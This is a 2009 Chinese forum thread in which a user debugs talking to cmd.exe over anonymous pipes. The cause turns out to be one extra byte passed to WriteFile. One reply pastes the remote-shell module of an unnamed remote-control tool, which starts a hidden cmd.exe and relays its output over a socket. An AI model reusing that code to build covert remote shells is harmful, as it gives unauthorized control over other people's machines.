首页
社区
课程
招聘
[求助]关于匿名管道与CMD通信的问题
发表于: 2009-12-27 14:32 12047

[求助]关于匿名管道与CMD通信的问题

2009-12-27 14:32
12047
双匿名通道与CMD.EXE进行通信,并用一线程读取CMD的返回信息,出现:
  
   1、启到CMD进程时,返回的信息被完全读取,正常!
  
   2、写入命令比如: cd \ 或者 dir /? 等,返回的信息被完全读取,正常!
  
   3、再次写入命令时,CMD返回 “More?”(这里不论输入什么命令,CMD都返回More?)
  
   4、再写入命令时,CMD不再响应程序,直接退出了!!!!

   
   第1、2正常,说明通信是没有问题的,但问题是现在只能正常通信两次……?然后CMD就只返回More?最后再写入管道时CMD退出!

    有没有人能解释的?目前只听到一个解释是控制台不会实时的fflush StdOutput端缓冲区……,不知有什么解决办法没?

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 1074
活跃值: (160)
能力值: ( LV13,RANK:760 )
在线值:
发帖
回帖
粉丝
2
高手请现身吧,呵呵,本人虚心请教哦! 以下是线程的读取代码……,代码应该不会有问题的,但这个问题实在是奇怪,如果控制台不FFlush,那就没有办法实时与CMD交互通信了吗?

双管道,给CMD管道1的读取端和管道2的写入端,然后主程序使用管道1的写入端和管道2的读取端进行相应的写和读操作:

DWORD WINAPI CEngineTestDlg::ReadDataFromPipe(HWND hEdit)
{
DWORD dwBytesRead = -1;

        strCont.Empty();
       
        while(TRUE)
        {
                PeekNamedPipe(m_hPipe2Read, bufRead, 4096, &dwBytesRead, NULL, NULL);
                if (dwBytesRead != 0)
                {
                        ZeroMemory(bufRead, sizeof(bufRead));
                        if (!ReadFile(m_hPipe2Read, bufRead, dwBytesRead, &dwBytesRead, NULL))
                                break;
                        strCont += bufRead;
                        ::SetWindowText(hEdit, strCont);
                }       
                Sleep(100);
        }
       
        AfxMessageBox(_T("线程终止!"));
        return 0;
}
2009-12-27 14:39
0
雪    币: 1074
活跃值: (160)
能力值: ( LV13,RANK:760 )
在线值:
发帖
回帖
粉丝
3
用CreateProcess建立进程后,线程函数返回显示结果(正常):


执行cd \ 命令后(正常):



再次执行net user 命令(不正常!):



谁能解释解释?
上传的附件:
2009-12-27 16:22
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
把自己的进程附加到CMD的Console上去,再自己刷新,不知道行不行
2009-12-27 16:29
0
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
很多远程控制代码里 都有这个功能 可以找来参考。。
2009-12-27 16:45
0
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
贴个xx远控里的部分代码 你可以参考下

DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
        unsigned long   BytesRead = 0;
        char        ReadBuff[1024];
        DWORD        TotalBytesAvail;
        CShellManager *pThis = (CShellManager *)lparam;
        while (1)
        {
                Sleep(100);
                while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
                {
                        if (BytesRead <= 0)
                                break;
                        memset(ReadBuff, 0, sizeof(ReadBuff));
                        LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
                        ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
                        // 发送数据
                        pThis->Send(lpBuffer, BytesRead);
                        LocalFree(lpBuffer);
                }
        }
        return 0;
}

DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
{
        CShellManager *pThis = (CShellManager *)lparam;
        HANDLE hThread[2];
        hThread[0] = pThis->m_hProcessHandle;
        hThread[1] = pThis->m_hThreadRead;
        WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
        TerminateThread(pThis->m_hThreadRead, 0);
        TerminateProcess(pThis->m_hProcessHandle, 1);
        pThis->m_pClient->Disconnect();
        return 0;
}

CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{
    SECURITY_ATTRIBUTES  sa = {0};  
        STARTUPINFO          si = {0};
        PROCESS_INFORMATION  pi = {0};
        char  strShellPath[MAX_PATH] = {0};

    m_hReadPipeHandle        = NULL;
    m_hWritePipeHandle        = NULL;
        m_hReadPipeShell        = NULL;
    m_hWritePipeShell        = NULL;
    sa.nLength = sizeof(sa);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

       
    if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
        {
                if(m_hReadPipeHandle != NULL)        CloseHandle(m_hReadPipeHandle);
                if(m_hWritePipeShell != NULL)        CloseHandle(m_hWritePipeShell);
                return;
    }

    if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
        {
                if(m_hWritePipeHandle != NULL)        CloseHandle(m_hWritePipeHandle);
                if(m_hReadPipeShell != NULL)        CloseHandle(m_hReadPipeShell);
                return;
    }

        memset((void *)&si, 0, sizeof(si));
    memset((void *)&pi, 0, sizeof(pi));

        GetStartupInfo(&si);
        si.cb = sizeof(STARTUPINFO);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdInput  = m_hReadPipeShell;
    si.hStdOutput = si.hStdError = m_hWritePipeShell;

        GetSystemDirectory(strShellPath, MAX_PATH);
        strcat(strShellPath,"\\cmd.exe");

        if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
                NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
        {
                CloseHandle(m_hReadPipeHandle);
                CloseHandle(m_hWritePipeHandle);
                CloseHandle(m_hReadPipeShell);
                CloseHandle(m_hWritePipeShell);
                return;
    }
        m_hProcessHandle = pi.hProcess;
        m_hThreadHandle        = pi.hThread;

        BYTE        bToken = TOKEN_SHELL_START;
        Send((LPBYTE)&bToken, 1);
        WaitForDialogOpen();
        m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
        m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}
2009-12-27 16:52
0
雪    币: 1074
活跃值: (160)
能力值: ( LV13,RANK:760 )
在线值:
发帖
回帖
粉丝
7
是父子进程通信的问题哈,要远程的话直接用Socket算了,盼人解释下
2009-12-27 17:02
0
雪    币: 1074
活跃值: (160)
能力值: ( LV13,RANK:760 )
在线值:
发帖
回帖
粉丝
8
问题已经解决,想了两天,头都想大了,结果是因为WriteFile时多写了一个字节造成的!
   呵呵,多谢大家的帮助!
   
    WriteFile(handle, str, str.GetLength(),  //此处必须为实际的长度,如果加1(
                                       //str.GetlLength()+1,必然会出现上述情况!
           &dwWritten, NULL);
2009-12-28 13:05
0
雪    币: 261
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
command.rar

我有个用VBA写的 传上来给你参考下
用于DOS可以
但换成那个DOS QQ(myqq2009)后就不行了,没搞定

这个QQ也发上来吧
MyQQ2009.rar
上传的附件:
2010-1-25 20:13
0
游客
登录 | 注册 方可回帖
返回
//